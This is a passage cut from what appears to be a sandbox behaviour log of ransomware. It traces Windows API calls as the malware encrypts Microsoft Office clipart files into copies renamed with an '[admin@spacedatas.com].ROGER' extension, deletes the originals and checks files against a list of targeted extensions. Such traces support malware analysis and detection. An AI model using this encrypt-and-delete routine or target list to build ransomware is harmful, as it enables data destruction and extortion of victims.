files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0058.336] GetLastError () returned 0x0 [0058.336] ReadFile (in: hFile=0x414, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0058.338] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0058.338] ReadFile (in: hFile=0x414, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.339] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.339] SetEndOfFile (hFile=0x3b8) returned 1 [0058.339] CloseHandle (hObject=0x3b8) returned 1 [0058.339] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.339] SetEndOfFile (hFile=0x414) returned 1 [0058.340] CloseHandle (hObject=0x414) returned 1 [0058.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0058.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.340] lstrlenW (lpString=".doc") returned 4 [0058.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.340] lstrlenW (lpString=".docx") returned 5 [0058.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.340] lstrlenW (lpString=".pdf") returned 4 [0058.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.340] lstrlenW (lpString=".xls") returned 4 [0058.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.340] lstrlenW (lpString=".xlsx") returned 5 [0058.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.340] lstrlenW (lpString=".ppt") returned 4 [0058.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.340] lstrlenW (lpString=".zip") returned 4 [0058.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.341] lstrlenW (lpString=".rar") returned 4 [0058.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.341] lstrlenW (lpString=".bz2") returned 4 [0058.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.341] lstrlenW (lpString=".7z") returned 3 [0058.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.341] lstrlenW (lpString=".dbf") returned 4 [0058.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.341] lstrlenW (lpString=".1cd") returned 4 [0058.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.341] lstrlenW (lpString=".jpg") returned 4 [0058.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.341] lstrlenW (lpString=".doc") returned 4 [0058.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.341] lstrlenW (lpString=".docx") returned 5 [0058.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.341] lstrlenW (lpString=".pdf") returned 4 [0058.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.341] lstrlenW (lpString=".xls") returned 4 [0058.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.341] lstrlenW (lpString=".xlsx") returned 5 [0058.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.341] lstrlenW (lpString=".ppt") returned 4 [0058.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.341] lstrlenW (lpString=".zip") returned 4 [0058.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.341] lstrlenW (lpString=".rar") returned 4 [0058.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.342] lstrlenW (lpString=".bz2") returned 4 [0058.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.342] lstrlenW (lpString=".7z") returned 3 [0058.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.342] lstrlenW (lpString=".dbf") returned 4 [0058.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.342] lstrlenW (lpString=".1cd") returned 4 [0058.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0058.342] lstrlenW (lpString=".jpg") returned 4 [0058.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.342] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.342] lstrlenW (lpString="AN02122_.WMF") returned 12 [0058.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0058.343] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=7540) returned 1 [0058.343] CloseHandle (hObject=0x414) returned 1 [0058.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0058.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0058.343] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.343] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0058.344] GetLastError () returned 0x0 [0058.344] ReadFile (in: hFile=0x414, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x1d74, lpOverlapped=0x0) returned 1 [0058.666] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0058.670] ReadFile (in: hFile=0x414, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.670] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.670] SetEndOfFile (hFile=0x3b8) returned 1 [0058.670] CloseHandle (hObject=0x3b8) returned 1 [0058.671] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.671] SetEndOfFile (hFile=0x414) returned 1 [0058.671] CloseHandle (hObject=0x414) returned 1 [0058.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0058.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.672] lstrlenW (lpString=".doc") returned 4 [0058.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString=".docx") returned 5 [0058.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.672] lstrlenW (lpString=".pdf") returned 4 [0058.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString=".xls") returned 4 [0058.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.672] lstrlenW (lpString=".xlsx") returned 5 [0058.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.672] lstrlenW (lpString=".ppt") returned 4 [0058.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.672] lstrlenW (lpString=".zip") returned 4 [0058.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.672] lstrlenW (lpString=".rar") returned 4 [0058.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString=".bz2") returned 4 [0058.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString=".7z") returned 3 [0058.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.672] lstrlenW (lpString=".dbf") returned 4 [0058.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.673] lstrlenW (lpString=".1cd") returned 4 [0058.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.673] lstrlenW (lpString=".jpg") returned 4 [0058.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.673] lstrlenW (lpString=".doc") returned 4 [0058.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.673] lstrlenW (lpString=".docx") returned 5 [0058.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.673] lstrlenW (lpString=".pdf") returned 4 [0058.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.673] lstrlenW (lpString=".xls") returned 4 [0058.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.673] lstrlenW (lpString=".xlsx") returned 5 [0058.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.673] lstrlenW (lpString=".ppt") returned 4 [0058.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.673] lstrlenW (lpString=".zip") returned 4 [0058.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.673] lstrlenW (lpString=".rar") returned 4 [0058.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.673] lstrlenW (lpString=".bz2") returned 4 [0058.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.673] lstrlenW (lpString=".7z") returned 3 [0058.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.673] lstrlenW (lpString=".dbf") returned 4 [0058.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.673] lstrlenW (lpString=".1cd") returned 4 [0058.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0058.674] lstrlenW (lpString=".jpg") returned 4 [0058.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.674] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.674] lstrlenW (lpString="AN04206_.WMF") returned 12 [0058.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0059.779] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=7668) returned 1 [0059.779] CloseHandle (hObject=0x368) returned 1 [0059.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0059.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0059.780] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.780] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0059.780] GetLastError () returned 0x0 [0059.780] ReadFile (in: hFile=0x368, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x1df4, lpOverlapped=0x0) returned 1 [0059.919] WriteFile (in: hFile=0x3fc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0059.920] ReadFile (in: hFile=0x368, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.920] WriteFile (in: hFile=0x3fc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.920] SetEndOfFile (hFile=0x3fc) returned 1 [0059.920] CloseHandle (hObject=0x3fc) returned 1 [0059.920] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.920] SetEndOfFile (hFile=0x368) returned 1 [0059.921] CloseHandle (hObject=0x368) returned 1 [0059.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0059.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.921] lstrlenW (lpString=".doc") returned 4 [0059.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.922] lstrlenW (lpString=".docx") returned 5 [0059.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.922] lstrlenW (lpString=".pdf") returned 4 [0059.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.922] lstrlenW (lpString=".xls") returned 4 [0059.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.922] lstrlenW (lpString=".xlsx") returned 5 [0059.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.922] lstrlenW (lpString=".ppt") returned 4 [0059.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.922] lstrlenW (lpString=".zip") returned 4 [0059.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.922] lstrlenW (lpString=".rar") returned 4 [0059.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.922] lstrlenW (lpString=".bz2") returned 4 [0059.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.922] lstrlenW (lpString=".7z") returned 3 [0059.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.922] lstrlenW (lpString=".dbf") returned 4 [0059.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.922] lstrlenW (lpString=".1cd") returned 4 [0059.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.922] lstrlenW (lpString=".jpg") returned 4 [0059.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.922] lstrlenW (lpString=".doc") returned 4 [0059.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.922] lstrlenW (lpString=".docx") returned 5 [0059.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.923] lstrlenW (lpString=".pdf") returned 4 [0059.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.923] lstrlenW (lpString=".xls") returned 4 [0059.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.923] lstrlenW (lpString=".xlsx") returned 5 [0059.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.923] lstrlenW (lpString=".ppt") returned 4 [0059.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.923] lstrlenW (lpString=".zip") returned 4 [0059.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.923] lstrlenW (lpString=".rar") returned 4 [0059.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.923] lstrlenW (lpString=".bz2") returned 4 [0059.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.923] lstrlenW (lpString=".7z") returned 3 [0059.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.923] lstrlenW (lpString=".dbf") returned 4 [0059.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.923] lstrlenW (lpString=".1cd") returned 4 [0059.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0059.923] lstrlenW (lpString=".jpg") returned 4 [0059.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.923] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.923] lstrlenW (lpString="AN04385_.WMF") returned 12 [0059.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0059.924] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=5004) returned 1 [0059.924] CloseHandle (hObject=0x368) returned 1 [0059.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0059.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0059.924] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.924] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0059.925] GetLastError () returned 0x0 [0059.925] ReadFile (in: hFile=0x368, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x138c, lpOverlapped=0x0) returned 1 [0059.931] WriteFile (in: hFile=0x3fc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: 